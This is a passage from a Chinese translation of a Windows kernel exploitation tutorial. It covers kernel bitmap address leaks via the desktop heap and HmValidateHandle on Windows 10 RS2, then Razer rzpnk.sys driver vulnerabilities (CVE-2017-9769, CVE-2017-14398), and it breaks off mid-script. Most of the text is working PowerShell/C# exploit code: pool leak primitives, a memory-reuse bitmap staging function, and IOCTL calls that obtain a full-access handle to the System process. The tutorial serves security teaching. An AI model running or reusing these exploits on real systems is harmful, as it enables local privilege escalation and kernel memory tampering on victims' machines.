lpszMenuNameOffset => pcls + 0x88





x64 Post RS2 (15063)


	Window handle => 0x0

	pSelf => 0x20

	pcls => 0xa8

	lpszMenuNameOffset => pcls + 0x90



在桌面堆上找到一个Window相当的直接，从桌面堆的基地址开始我们可以读出IntPtr尺寸的值并将其与特定的Window句柄进行比较。一旦我们匹配上了句柄，就掌握了到tagWND结构体起始位置的偏移。更新POC并运行。

Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
 
[StructLayout(LayoutKind.Sequential)]
public struct _THREAD_BASIC_INFORMATION
{
    public IntPtr ExitStatus;
    public IntPtr TebBaseAddress;
    public IntPtr ClientId;
    public IntPtr AffinityMask;
    public IntPtr Priority;
    public IntPtr BasePriority;
}
 
public class DesktopHeapGDI
{   
    delegate IntPtr WndProc(IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam);
 
    [System.Runtime.InteropServices.StructLayout(LayoutKind.Sequential,CharSet=CharSet.Unicode)]
    struct WNDCLASS
    {
        public uint style;
        public IntPtr lpfnWndProc;
        public int cbClsExtra;
        public int cbWndExtra;
        public IntPtr hInstance;
        public IntPtr hIcon;
        public IntPtr hCursor;
        public IntPtr hbrBackground;
        [MarshalAs(UnmanagedType.LPWStr)]
        public string lpszMenuName;
        [MarshalAs(UnmanagedType.LPWStr)]
        public string lpszClassName;
    }
     
    [System.Runtime.InteropServices.DllImport("user32.dll", SetLastError = true)]
    static extern System.UInt16 RegisterClassW(
        [System.Runtime.InteropServices.In] ref WNDCLASS lpWndClass
    );
 
    [System.Runtime.InteropServices.DllImport("user32.dll", SetLastError = true)]
    static extern IntPtr CreateWindowExW(
        UInt32 dwExStyle,
        [MarshalAs(UnmanagedType.LPWStr)]
        string lpClassName,
        [MarshalAs(UnmanagedType.LPWStr)]
        string lpWindowName,
        UInt32 dwStyle,
        Int32 x,
        Int32 y,
        Int32 nWidth,
        Int32 nHeight,
        IntPtr hWndParent,
        IntPtr hMenu,
        IntPtr hInstance,
        IntPtr lpParam
    );
 
    [System.Runtime.InteropServices.DllImport("user32.dll", SetLastError = true)]
    static extern System.IntPtr DefWindowProcW(
        IntPtr hWnd,
        uint msg,
        IntPtr wParam,
        IntPtr lParam
    );
 
    [System.Runtime.InteropServices.DllImport("user32.dll", SetLastError = true)]
    static extern bool DestroyWindow(
        IntPtr hWnd
    );
 
    [DllImport("ntdll.dll")]
    public static extern int NtQueryInformationThread(
        IntPtr hThread, 
        int ThreadInfoClass,
        ref _THREAD_BASIC_INFORMATION ThreadInfo,
        int ThreadInfoLength,
        ref int ReturnLength);
 
    [DllImport("kernel32.dll")]
    public static extern IntPtr GetCurrentThread();
 
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern void DebugBreak();
 
    private IntPtr m_hwnd;
    public IntPtr CustomWindow(string class_name, string menu_name)
    {
        m_wnd_proc_delegate = CustomWndProc;
 
        WNDCLASS wind_class = new WNDCLASS();
        wind_class.lpszClassName = class_name;
        wind_class.lpszMenuName = menu_name;
        wind_class.lpfnWndProc = System.Runtime.InteropServices.Marshal.GetFunctionPointerForDelegate(m_wnd_proc_delegate);
 
        UInt16 class_atom = RegisterClassW(ref wind_class);
        m_hwnd = CreateWindowExW(
            0,
            class_name,
            String.Empty,
            0,
            0,
            0,
            0,
            0,
            IntPtr.Zero,
            IntPtr.Zero,
            IntPtr.Zero,
            IntPtr.Zero
        );
        return m_hwnd;
    }
 
    private static IntPtr CustomWndProc(IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam)
    {
        return DefWindowProcW(hWnd, msg, wParam, lParam);
    }
 
    private WndProc m_wnd_proc_delegate;
}
"@
 
 
#------------------[Create Window]
 
# Call nonstatic public method => delegWndProc
$DesktopHeapGDI = New-Object DesktopHeapGDI
 
# Menu name buffer
$Buff = "A"*0x8F0
$Handle = $DesktopHeapGDI.CustomWindow("TestWindow",$Buff)
#$Handle.ToInt64()
echo "`n[+] Window handle: $Handle"
 
#------------------[Leak Desktop Heap]
 
# Pseudo handle => -2
$CurrentHandle = [DesktopHeapGDI]::GetCurrentThread()
 
# ThreadBasicInformation
$THREAD_BASIC_INFORMATION = New-Object _THREAD_BASIC_INFORMATION
$THREAD_BASIC_INFORMATION_SIZE = [System.Runtime.InteropServices.Marshal]::SizeOf($THREAD_BASIC_INFORMATION)
 
$RetLen = New-Object Int
$CallResult = [DesktopHeapGDI]::NtQueryInformationThread($CurrentHandle,0,[ref]$THREAD_BASIC_INFORMATION,$THREAD_BASIC_INFORMATION_SIZE,[ref]$RetLen)
 
$TEBBase = $THREAD_BASIC_INFORMATION.TebBaseAddress
$TEB_Win32ClientInfo = [Int64]$TEBBase+0x800
$TEB_UserKernelDesktopHeap = [System.Runtime.InteropServices.Marshal]::ReadInt64([Int64]$TEBBase+0x828)
$TEB_KernelDesktopHeap = [System.Runtime.InteropServices.Marshal]::ReadInt64($TEB_UserKernelDesktopHeap+0x28)
$ulClientDelta = $TEB_KernelDesktopHeap - $TEB_UserKernelDesktopHeap
 
echo "`n[+] _TEB.Win32ClientInfo:     $('{0:X16}' -f $TEB_Win32ClientInfo)"
echo "[+] User Mapped Desktop Heap: $('{0:X16}' -f $TEB_UserKernelDesktopHeap)"
echo "[+] Kernel Desktop Heap:      $('{0:X16}' -f $TEB_KernelDesktopHeap)"
echo "[+] ulClientDelta:            $('{0:X16}' -f $ulClientDelta)"
 
#------------------[Parse User Desktop Heap]
 
echo "`n[+] Parsing Desktop heap.."
for ($i=0;$i -lt 0xFFFFF;$i=$i+8) {
    $ReadHandle = [System.Runtime.InteropServices.Marshal]::ReadInt64($TEB_UserKernelDesktopHeap + $i)
    if ($ReadHandle -eq $Handle.ToInt64()) {
        echo "[!] w00t, found handle!"
        $UsertagWND = $TEB_UserKernelDesktopHeap + $i
        $KerneltagCLS = [System.Runtime.InteropServices.Marshal]::ReadInt64($UsertagWND + 0xa8)
        break
    }
}
 
echo "`n[+] User tagWND: $('{0:X16}' -f $($UsertagWND))"
echo "[+] User tagCLS: $('{0:X16}' -f $($KerneltagCLS-$ulClientDelta))"
echo "[+] Kernel tagWND: $('{0:X16}' -f $($UsertagWND+$ulClientDelta))"
echo "[+] Kernel tagCLS: $('{0:X16}' -f $($KerneltagCLS))"
echo "[+] Kernel tagCLS.lpszMenuName: $('{0:X16}' -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($KerneltagCLS-$ulClientDelta+0x90)))`n"
 
#------------------[Break]
Start-Sleep -s 20
[DesktopHeapGDI]::DebugBreak()


这种读操作没什么问题，我们立即得到了下面的反馈结果。注意到PowerShell提示符没有返回，这是因为我们需要在script退出前断下来。
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在KD中用dq/db来看看我们成功计算出的所有相对偏移。

[image: ]

Leak 2 => User32::HmValidateHandle

HmValidateHandle第一次被使用是在2011年 @kernelpool攥写的论文 Kernel Attacks through User-Mode Callbacks中提出的，随后不久这一技术就被用在了各种exp中，包括CVE-2016-7255 as exploited by Fancy Bear。

HmValidateHandle是一个很有意思的函数，我们可以提供一个Window句柄给它，它会返回桌面堆上用户映射的tagWND对象，这简直太好用了！通过这种方式我们可以获取完整的TEB解析和爆破。唯一的问题在于HmValidateHandle并未被user32导出，所以我们需要一些技巧来获取它的地址。

从一大堆公开的解释中我们发现HmValidateHandle与导出的User32::IsMenu函数最近，让我在KD中看看。

[image: ]

确实不痛不痒！我们需要做的就是获取User32::IsMenu运行时地址，寻找第一个0xE8字节(call xxx)并攫取出HmValidateHandle的指针。我们可以利用下面的一段代码实现。

Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
 
public class HmValidateHandleBitmap
{
    delegate IntPtr WndProc(
        IntPtr hWnd,
        uint msg,
        IntPtr wParam,
        IntPtr lParam);
 
    [StructLayout(LayoutKind.Sequential,CharSet=CharSet.Unicode)]
    struct WNDCLASS
    {
        public uint style;
        public IntPtr lpfnWndProc;
        public int cbClsExtra;
        public int cbWndExtra;
        public IntPtr hInstance;
        public IntPtr hIcon;
        public IntPtr hCursor;
        public IntPtr hbrBackground;
        [MarshalAs(UnmanagedType.LPWStr)]
        public string lpszMenuName;
        [MarshalAs(UnmanagedType.LPWStr)]
        public string lpszClassName;
    }
 
    [DllImport("user32.dll")]
    static extern System.UInt16 RegisterClassW(
        [In] ref WNDCLASS lpWndClass);
 
    [DllImport("user32.dll")]
    public static extern IntPtr CreateWindowExW(
        UInt32 dwExStyle,
        [MarshalAs(UnmanagedType.LPWStr)]
        string lpClassName,
        [MarshalAs(UnmanagedType.LPWStr)]
        string lpWindowName,
        UInt32 dwStyle,
        Int32 x,
        Int32 y,
        Int32 nWidth,
        Int32 nHeight,
        IntPtr hWndParent,
        IntPtr hMenu,
        IntPtr hInstance,
        IntPtr lpParam);
 
    [DllImport("user32.dll")]
    static extern System.IntPtr DefWindowProcW(
        IntPtr hWnd,
        uint msg,
        IntPtr wParam,
        IntPtr lParam);
 
    [DllImport("user32.dll")]
    public static extern bool DestroyWindow(
        IntPtr hWnd);
 
    [DllImport("user32.dll")]
    public static extern bool UnregisterClass(
        String lpClassName,
        IntPtr hInstance);
 
    [DllImport("kernel32",CharSet=CharSet.Ansi)]
    public static extern IntPtr LoadLibrary(
        string lpFileName);
 
    [DllImport("kernel32",CharSet=CharSet.Ansi,ExactSpelling=true)]
    public static extern IntPtr GetProcAddress(
        IntPtr hModule,
        string procName);
 
    public delegate IntPtr HMValidateHandle(
        IntPtr hObject,
        int Type);
 
    [DllImport("gdi32.dll")]
    public static extern IntPtr CreateBitmap(
        int nWidth,
        int nHeight,
        uint cPlanes,
        uint cBitsPerPel,
        IntPtr lpvBits);
 
    public UInt16 CustomClass(string class_name, string menu_name)
    {
        m_wnd_proc_delegate = CustomWndProc;
        WNDCLASS wind_class = new WNDCLASS();
        wind_class.lpszClassName = class_name;
        wind_class.lpszMenuName = menu_name;
        wind_class.lpfnWndProc = System.Runtime.InteropServices.Marshal.GetFunctionPointerForDelegate(m_wnd_proc_delegate);
        return RegisterClassW(ref wind_class);
    }
 
    private static IntPtr CustomWndProc(IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam)
    {
        return DefWindowProcW(hWnd, msg, wParam, lParam);
    }
 
    private WndProc m_wnd_proc_delegate;
}
"@
 
#------------------[Create/Destroy Window]
# Call nonstatic public method => delegWndProc
$AtomCreate = New-Object HmValidateHandleBitmap
 
function Create-WindowObject {
    $MenuBuff = "A"*0x8F0
    $hAtom = $AtomCreate.CustomClass("BitmapStager",$MenuBuff)
    [HmValidateHandleBitmap]::CreateWindowExW(0,"BitmapStager",[String]::Empty,0,0,0,0,0,[IntPtr]::Zero,[IntPtr]::Zero,[IntPtr]::Zero,[IntPtr]::Zero)
}
 
function Destroy-WindowObject {
    param ($Handle)
    $CallResult = [HmValidateHandleBitmap]::DestroyWindow($Handle)
    $CallResult = [HmValidateHandleBitmap]::UnregisterClass("BitmapStager",[IntPtr]::Zero)
}
 
#------------------[Cast HMValidateHandle]
function Cast-HMValidateHandle {
    $hUser32 = [HmValidateHandleBitmap]::LoadLibrary("user32.dll")
    $lpIsMenu = [HmValidateHandleBitmap]::GetProcAddress($hUser32, "IsMenu")
     
    # Get HMValidateHandle pointer
    for ($i=0;$i-lt50;$i++) {
        if ($([System.Runtime.InteropServices.Marshal]::ReadByte($lpIsMenu.ToInt64()+$i)) -eq 0xe8) {
            $HMValidateHandleOffset = [System.Runtime.InteropServices.Marshal]::ReadInt32($lpIsMenu.ToInt64()+$i+1)
            [IntPtr]$lpHMValidateHandle = $lpIsMenu.ToInt64() + $i + 5 + $HMValidateHandleOffset
        }
    }
 
    if ($lpHMValidateHandle) {
        # Cast IntPtr to delegate
        [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($lpHMValidateHandle,[HmValidateHandleBitmap+HMValidateHandle])
    }
}
 
#------------------[Window Leak]
function Leak-lpszMenuName {
    param($WindowHandle)
    $OSVersion = [Version](Get-WmiObject Win32_OperatingSystem).Version
    $OSMajorMinor = "$($OSVersion.Major).$($OSVersion.Minor)"
    if ($OSMajorMinor -eq "10.0" -And $OSVersion.Build -ge 15063) {
        $pCLSOffset = 0xa8
        $lpszMenuNameOffset = 0x90
    } else {
        $pCLSOffset = 0x98
        $lpszMenuNameOffset = 0x88
    }
 
    # Cast HMValidateHandle & get window desktop heap pointer
    $HMValidateHandle = Cast-HMValidateHandle
    $lpUserDesktopHeapWindow = $HMValidateHandle.Invoke($WindowHandle,1)
 
    # Calculate all the things
    $ulClientDelta = [System.Runtime.InteropServices.Marshal]::ReadInt64($lpUserDesktopHeapWindow.ToInt64()+0x20) - $lpUserDesktopHeapWindow.ToInt64()
    $KerneltagCLS = [System.Runtime.InteropServices.Marshal]::ReadInt64($lpUserDesktopHeapWindow.ToInt64()+$pCLSOffset)
    $lpszMenuName = [System.Runtime.InteropServices.Marshal]::ReadInt64($KerneltagCLS-$ulClientDelta+$lpszMenuNameOffset)
 
    echo "`n[+] ulClientDelta:              $('{0:X16}' -f $ulClientDelta)"
    echo "[+] User tagWND:                $('{0:X16}' -f $($lpUserDesktopHeapWindow.ToInt64()))"
    echo "[+] User tagCLS:                $('{0:X16}' -f $($KerneltagCLS-$ulClientDelta))"
    echo "[+] Kernel tagWND:              $('{0:X16}' -f $($lpUserDesktopHeapWindow.ToInt64()+$ulClientDelta))"
    echo "[+] Kernel tagCLS:              $('{0:X16}' -f $($KerneltagCLS))"
    echo "[+] Kernel tagCLS.lpszMenuName: $('{0:X16}' -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($KerneltagCLS-$ulClientDelta+0x90)))`n"
}
 
$hWindow = Create-WindowObject
echo "`n[+] Window handle: $hWindow"
Leak-lpszMenuName -WindowHandle $hWindow


运行POC，本质上它给了我们和第一种泄露同样的结果，但它更为简洁。
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UAF Bitmap

我猜想读者的问题依然是为什么要去关心这些Window对象？我的Bitmap在哪儿？其实，Window菜单名称（lpszMenuName）和bitmap一样，都分配在同一个内核池中。我们可以分配一个较大的Window菜单名称并释放它，此后分配我们的Bitmap就可以重用这段内存了（挖坑到占坑）。这看起来有点巧妙，但是如果我们可以让菜单名称超过4kb的话，他就会用尽低熵大内存池来保证我们的UAF泄露百分百可靠。这一过程和在RS1中使用Accelerator Tables绕过是一致的。

下面的图片阐释了这一过程。

[image: ]

该PowerShell函数写在下方。更多的细节请参考我的 PSKernel-Primitives repo。

function Stage-HmValidateHandleBitmap {
<#
.SYNOPSIS
    Universal x64 Bitmap leak using HmValidateHandle.
    Targets: 7, 8, 8.1, 10, 10 RS1, 10 RS2
    Resources:
        + Win32k Dark Composition: Attacking the Shadow part of Graphic subsystem <= 360Vulcan
        + LPE vulnerabilities exploitation on Windows 10 Anniversary Update <= Drozdov Yurii & Drozdova Liudmila
 
.DESCRIPTION
    Author: Ruben Boonen (@FuzzySec)
    License: BSD 3-Clause
    Required Dependencies: None
    Optional Dependencies: None
 
.EXAMPLE
    PS C:\Users\b33f> Stage-HmValidateHandleBitmap |fl
     
    BitmapKernelObj : -7692235059200
    BitmappvScan0   : -7692235059120
    BitmapHandle    : 1845828432
     
    PS C:\Users\b33f> $Manager = Stage-HmValidateHandleBitmap
    PS C:\Users\b33f> "{0:X}" -f $Manager.BitmapKernelObj
    FFFFF901030FF000
#>
    Add-Type -TypeDefinition @"
    using System;
    using System.Diagnostics;
    using System.Runtime.InteropServices;
    using System.Security.Principal;
     
    public class HmValidateHandleBitmap
    {   
        delegate IntPtr WndProc(
            IntPtr hWnd,
            uint msg,
            IntPtr wParam,
            IntPtr lParam);
     
        [StructLayout(LayoutKind.Sequential,CharSet=CharSet.Unicode)]
        struct WNDCLASS
        {
            public uint style;
            public IntPtr lpfnWndProc;
            public int cbClsExtra;
            public int cbWndExtra;
            public IntPtr hInstance;
            public IntPtr hIcon;
            public IntPtr hCursor;
            public IntPtr hbrBackground;
            [MarshalAs(UnmanagedType.LPWStr)]
            public string lpszMenuName;
            [MarshalAs(UnmanagedType.LPWStr)]
            public string lpszClassName;
        }
     
        [DllImport("user32.dll")]
        static extern System.UInt16 RegisterClassW(
            [In] ref WNDCLASS lpWndClass);
     
        [DllImport("user32.dll")]
        public static extern IntPtr CreateWindowExW(
            UInt32 dwExStyle,
            [MarshalAs(UnmanagedType.LPWStr)]
            string lpClassName,
            [MarshalAs(UnmanagedType.LPWStr)]
            string lpWindowName,
            UInt32 dwStyle,
            Int32 x,
            Int32 y,
            Int32 nWidth,
            Int32 nHeight,
            IntPtr hWndParent,
            IntPtr hMenu,
            IntPtr hInstance,
            IntPtr lpParam);
     
        [DllImport("user32.dll")]
        static extern System.IntPtr DefWindowProcW(
            IntPtr hWnd,
            uint msg,
            IntPtr wParam,
            IntPtr lParam);
     
        [DllImport("user32.dll")]
        public static extern bool DestroyWindow(
            IntPtr hWnd);
     
        [DllImport("user32.dll")]
        public static extern bool UnregisterClass(
            String lpClassName,
            IntPtr hInstance);
     
        [DllImport("kernel32",CharSet=CharSet.Ansi)]
        public static extern IntPtr LoadLibrary(
            string lpFileName);
     
        [DllImport("kernel32",CharSet=CharSet.Ansi,ExactSpelling=true)]
        public static extern IntPtr GetProcAddress(
            IntPtr hModule,
            string procName);
     
        public delegate IntPtr HMValidateHandle(
            IntPtr hObject,
            int Type);
     
        [DllImport("gdi32.dll")]
        public static extern IntPtr CreateBitmap(
            int nWidth,
            int nHeight,
            uint cPlanes,
            uint cBitsPerPel,
            IntPtr lpvBits);
     
        public UInt16 CustomClass(string class_name, string menu_name)
        {
            m_wnd_proc_delegate = CustomWndProc;
            WNDCLASS wind_class = new WNDCLASS();
            wind_class.lpszClassName = class_name;
            wind_class.lpszMenuName = menu_name;
            wind_class.lpfnWndProc = System.Runtime.InteropServices.Marshal.GetFunctionPointerForDelegate(m_wnd_proc_delegate);
            return RegisterClassW(ref wind_class);
        }
     
        private static IntPtr CustomWndProc(IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam)
        {
            return DefWindowProcW(hWnd, msg, wParam, lParam);
        }
     
        private WndProc m_wnd_proc_delegate;
    }
"@
     
    #------------------[Create/Destroy Window]
    # Call nonstatic public method => delegWndProc
    $AtomCreate = New-Object HmValidateHandleBitmap
     
    function Create-WindowObject {
        $MenuBuff = "A"*0x8F0
        $hAtom = $AtomCreate.CustomClass("BitmapStager",$MenuBuff)
        [HmValidateHandleBitmap]::CreateWindowExW(0,"BitmapStager",[String]::Empty,0,0,0,0,0,[IntPtr]::Zero,[IntPtr]::Zero,[IntPtr]::Zero,[IntPtr]::Zero)
    }
     
    function Destroy-WindowObject {
        param ($Handle)
        $CallResult = [HmValidateHandleBitmap]::DestroyWindow($Handle)
        $CallResult = [HmValidateHandleBitmap]::UnregisterClass("BitmapStager",[IntPtr]::Zero)
    }
     
    #------------------[Cast HMValidateHandle]
    function Cast-HMValidateHandle {
        $hUser32 = [HmValidateHandleBitmap]::LoadLibrary("user32.dll")
        $lpIsMenu = [HmValidateHandleBitmap]::GetProcAddress($hUser32, "IsMenu")
         
        # Get HMValidateHandle pointer
        for ($i=0;$i-lt50;$i++) {
            if ($([System.Runtime.InteropServices.Marshal]::ReadByte($lpIsMenu.ToInt64()+$i)) -eq 0xe8) {
                $HMValidateHandleOffset = [System.Runtime.InteropServices.Marshal]::ReadInt32($lpIsMenu.ToInt64()+$i+1)
                [IntPtr]$lpHMValidateHandle = $lpIsMenu.ToInt64() + $i + 5 + $HMValidateHandleOffset
            }
        }
     
        if ($lpHMValidateHandle) {
            # Cast IntPtr to delegate
            [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($lpHMValidateHandle,[HmValidateHandleBitmap+HMValidateHandle])
        }
    }
     
    #------------------[lpszMenuName Leak]
    function Leak-lpszMenuName {
        param($WindowHandle)
        $OSVersion = [Version](Get-WmiObject Win32_OperatingSystem).Version
        $OSMajorMinor = "$($OSVersion.Major).$($OSVersion.Minor)"
        if ($OSMajorMinor -eq "10.0" -And $OSVersion.Build -ge 15063) {
            $pCLSOffset = 0xa8
            $lpszMenuNameOffset = 0x90
        } else {
            $pCLSOffset = 0x98
            $lpszMenuNameOffset = 0x88
        }
     
        # Cast HMValidateHandle & get window desktop heap pointer
        $HMValidateHandle = Cast-HMValidateHandle
        $lpUserDesktopHeapWindow = $HMValidateHandle.Invoke($WindowHandle,1)
     
        # Calculate ulClientDelta & leak lpszMenuName
        $ulClientDelta = [System.Runtime.InteropServices.Marshal]::ReadInt64($lpUserDesktopHeapWindow.ToInt64()+0x20) - $lpUserDesktopHeapWindow.ToInt64()
        $KerneltagCLS = [System.Runtime.InteropServices.Marshal]::ReadInt64($lpUserDesktopHeapWindow.ToInt64()+$pCLSOffset)
        [System.Runtime.InteropServices.Marshal]::ReadInt64($KerneltagCLS-$ulClientDelta+$lpszMenuNameOffset)
    }
     
    #------------------[Bitmap Leak]
    $KernelArray = @()
    for ($i=0;$i -lt 20;$i++) {
        $TestWindowHandle = Create-WindowObject
        $KernelArray += Leak-lpszMenuName -WindowHandle $TestWindowHandle
        if ($KernelArray.Length -gt 1) {
            if ($KernelArray[$i] -eq $KernelArray[$i-1]) {
                Destroy-WindowObject -Handle $TestWindowHandle
                [IntPtr]$Buffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(0x50*2*4)
                $BitmapHandle = [HmValidateHandleBitmap]::CreateBitmap(0x701, 2, 1, 8, $Buffer) # +4 kb size
                break
            }
        }
        Destroy-WindowObject -Handle $TestWindowHandle
    }
     
    $BitMapObject = @()
    $HashTable = @{
        BitmapHandle = $BitmapHandle
        BitmapKernelObj = $($KernelArray[$i])
        BitmappvScan0 = $KernelArray[$i] + 0x50
    }
    $Object = New-Object PSObject -Property $HashTable
    $BitMapObject += $Object
    $BitMapObject
}


快速运行一下。
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SURFOBJ结构体是如此的明显，我们甚至无需给出任何符号就可以说明这一次的泄露是成功的。
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后序

非常漂亮！我们挚爱的Bitmap溯源在两轮微软的缓解措施下顽强的活了下来。Bitmap提供了一个真实有效（且方便）的读写本源，它在相当宽泛的内核利用原理中都可以被用到。不可避免的，微软会继续下绊子，让我们的策略失效，但是谁又能保证在第三轮实锤面前我们不能再次绕过呢？






  
  
  Welcome file
  





  第十九篇：内核利用程序之Razer

fuzzySecurity于16年更新了数篇Windows内核exp的教程，本文是内核篇的第十篇，也是目前为止的最后一篇。点击查看原文。


欢迎回到另一个Windows内核exp开发系列教程！今天我们看些不同寻常的东西。不久前@zeroSteiner 在rzpnk.sys中挖掘出了两个bug(CVE-2017-9770 & CVE-2017-9769)，该驱动由Razer Synapse所用。此后不久我决定看看这两个bug并且。。。我还发现了可以本地提权的另外一个逻辑bug(CVE-2017-14398)！

本文我们将简要的阐述 CVE-2017-9769，此后我们会针对我发现的bug CVE-2017-14398写一个exp。开始之前我想大声疾呼 @aionescu，他总是说我根本不知道我在做什么，但这一次我可以挺直腰板了！我也曾一度在玩Binary Ninja，截图就是从那里获取的，如果有人对此感兴趣的话。

Resources:


	Razer Rzpnk.Sys IOCTL 0x226048 OOB Read (CVE-2017-9770) (@zeroSteiner) - here

	Razer Rzpnk.Sys IOCTL 0x22a050 ZwOpenProcess (CVE-2017-9769) (@zeroSteiner) - here

	MSI ntiolib.sys/winio.sys local privilege escalation (@rwfpl) - here



##永不屈服

在开始之前我想先快速的展示一下，这些漏洞函数在调用图示上有多么的接近。对于分发函数来说，它们字面上是相邻的。
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这些调用分支源于上面同一个决策点，我们可以看到它从IOCTL中减掉了0x10，当该值是0的时候，就跳转到ZwOpenProcess调用处，如果值为0x14的话，就跳转到ZwMapViewOfSection调用处。

同时注意到该驱动会检查输入和输出缓冲区的尺寸，如果提供的输入参数不够或输出缓冲区不够大的话，分支会落入失败的情景。

ZwOpenProcess POC (CVE-2017-9769)

[image: ]

我们不会在该函数上浪费太多时间，该漏洞很容易被证明。我们知道函数需要两个QWORD作为输入参数，从Spencer的exp中可以看到他pack了一个pid和null作为QWORD。我们可以用下面的POC快速复制。

Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
   
public static class Razer
{
    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern IntPtr CreateFile(
        String lpFileName,
        UInt32 dwDesiredAccess,
        UInt32 dwShareMode,
        IntPtr lpSecurityAttributes,
        UInt32 dwCreationDisposition,
        UInt32 dwFlagsAndAttributes,
        IntPtr hTemplateFile);
   
    [DllImport("Kernel32.dll", SetLastError = true)]
    public static extern bool DeviceIoControl(
        IntPtr hDevice,
        int IoControlCode,
        byte[] InBuffer,
        int nInBufferSize,
        IntPtr OutBuffer,
        int nOutBufferSize,
        ref int pBytesReturned,
        IntPtr Overlapped);
 
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern IntPtr VirtualAlloc(
        IntPtr lpAddress,
        uint dwSize,
        UInt32 flAllocationType,
        UInt32 flProtect);
}
"@
 
#----------------[Get Driver Handle]
 
$hDevice = [Razer]::CreateFile("\\.\47CD78C9-64C3-47C2-B80F-677B887CF095", [System.IO.FileAccess]::ReadWrite,
[System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
 
if ($hDevice -eq -1) {
    echo "`n[!] Unable to get driver handle..`n"
    Return
} else {
    echo "`n[>] Driver access OK.."
    echo "[+] lpFileName: \\.\47CD78C9-64C3-47C2-B80F-677B887CF095 => rzpnk"
    echo "[+] Handle: $hDevice"
}
 
#----------------[Prepare buffer & Send IOCTL]
 
# Input buffer
$InBuffer = @(
    [System.BitConverter]::GetBytes([Int64]0x4) + # PID 4 = System = 0x0000000000000004
    [System.BitConverter]::GetBytes([Int64]0x0)   # 0x0000000000000000
)
 
# Output buffer 1kb
$OutBuffer = [Razer]::VirtualAlloc([System.IntPtr]::Zero, 1024, 0x3000, 0x40)
 
# Ptr receiving output byte count
$IntRet = 0
 
#=======
# 0x22a050 - ZwOpenProcess
#=======
$CallResult = [Razer]::DeviceIoControl($hDevice, 0x22a050, $InBuffer, $InBuffer.Length, $OutBuffer, 1024, [ref]$IntRet, [System.IntPtr]::Zero)
if (!$CallResult) {
    echo "`n[!] DeviceIoControl failed..`n"
    Return
}
 
#----------------[Read out the result buffer]
echo "`n[>] Call result:"
"{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()))
"{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()+8))


运行POC，得到下面的输出。
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如果我们查看返回的两个QWORD值的话就会发现，第一个是我们传入的PID值，而第二个是一个句柄。当我们在PowerShell进程中查看返回的句柄时，可以看到如下的内容。

[image: ]

游戏也就通关了，我们有一个对System pid完全访问权限的句柄，这意味着我们可以从该进程空间中任意读写。Spencer的exp中的方法起始就是：


	获取一个到winlogon的句柄

	hook user32!LockWorkStation，钩住我们的shellcode

	锁住用户会话

	利用



Exploiting ZwMapViewOfSection (CVE-2017-14398)

是时候上点好东西了！我强烈推荐你先看看 @rwfpl的文章来了解一下该bug类型的背景知识，ntiolib/winio exp在这里 here。
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记住在第一个截图中函数期望一个0x30尺寸的输入（6个QWORD），同时输出也是0x30大小。我们可以快速创建一个POC来访问到漏洞函数。

Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
   
public static class Razer
{
    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern IntPtr CreateFile(
        String lpFileName,
        UInt32 dwDesiredAccess,
        UInt32 dwShareMode,
        IntPtr lpSecurityAttributes,
        UInt32 dwCreationDisposition,
        UInt32 dwFlagsAndAttributes,
        IntPtr hTemplateFile);
   
    [DllImport("Kernel32.dll", SetLastError = true)]
    public static extern bool DeviceIoControl(
        IntPtr hDevice,
        int IoControlCode,
        byte[] InBuffer,
        int nInBufferSize,
        IntPtr OutBuffer,
        int nOutBufferSize,
        ref int pBytesReturned,
        IntPtr Overlapped);
 
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern IntPtr VirtualAlloc(
        IntPtr lpAddress,
        uint dwSize,
        UInt32 flAllocationType,
        UInt32 flProtect);
}
"@
 
#----------------[Get Driver Handle]
 
$hDevice = [Razer]::CreateFile("\\.\47CD78C9-64C3-47C2-B80F-677B887CF095", [System.IO.FileAccess]::ReadWrite,
[System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
 
if ($hDevice -eq -1) {
    echo "`n[!] Unable to get driver handle..`n"
    Return
} else {
    echo "`n[>] Driver access OK.."
    echo "[+] lpFileName: \\.\47CD78C9-64C3-47C2-B80F-677B887CF095 => rzpnk"
    echo "[+] Handle: $hDevice"
}
 
#----------------[Prepare buffer & Send IOCTL]
 
# Input buffer
$InBuffer = @(
    [System.BitConverter]::GetBytes([Int64]0xAAAAAA) +
    [System.BitConverter]::GetBytes([Int64]0xBBBBBB) +
    [System.BitConverter]::GetBytes([Int64]0xCCCCCC) +
    [System.BitConverter]::GetBytes([Int64]0xDDDDDD) +
    [System.BitConverter]::GetBytes([Int64]0xEEEEEE) +
    [System.BitConverter]::GetBytes([Int64]0xFFFFFF)
)
 
# Output buffer
$OutBuffer = [Razer]::VirtualAlloc([System.IntPtr]::Zero, 1024, 0x3000, 0x40)
 
# Ptr receiving output byte count
$IntRet = 0
 
#=======
# 0x22A064 - ZwMapViewOfSection
#=======
$CallResult = [Razer]::DeviceIoControl($hDevice, 0x22A064, $InBuffer, $InBuffer.Length, $OutBuffer, 1024, [ref]$IntRet, [System.IntPtr]::Zero)
if (!$CallResult) {
    echo "`n[!] DeviceIoControl failed..`n"
    Return
}
 
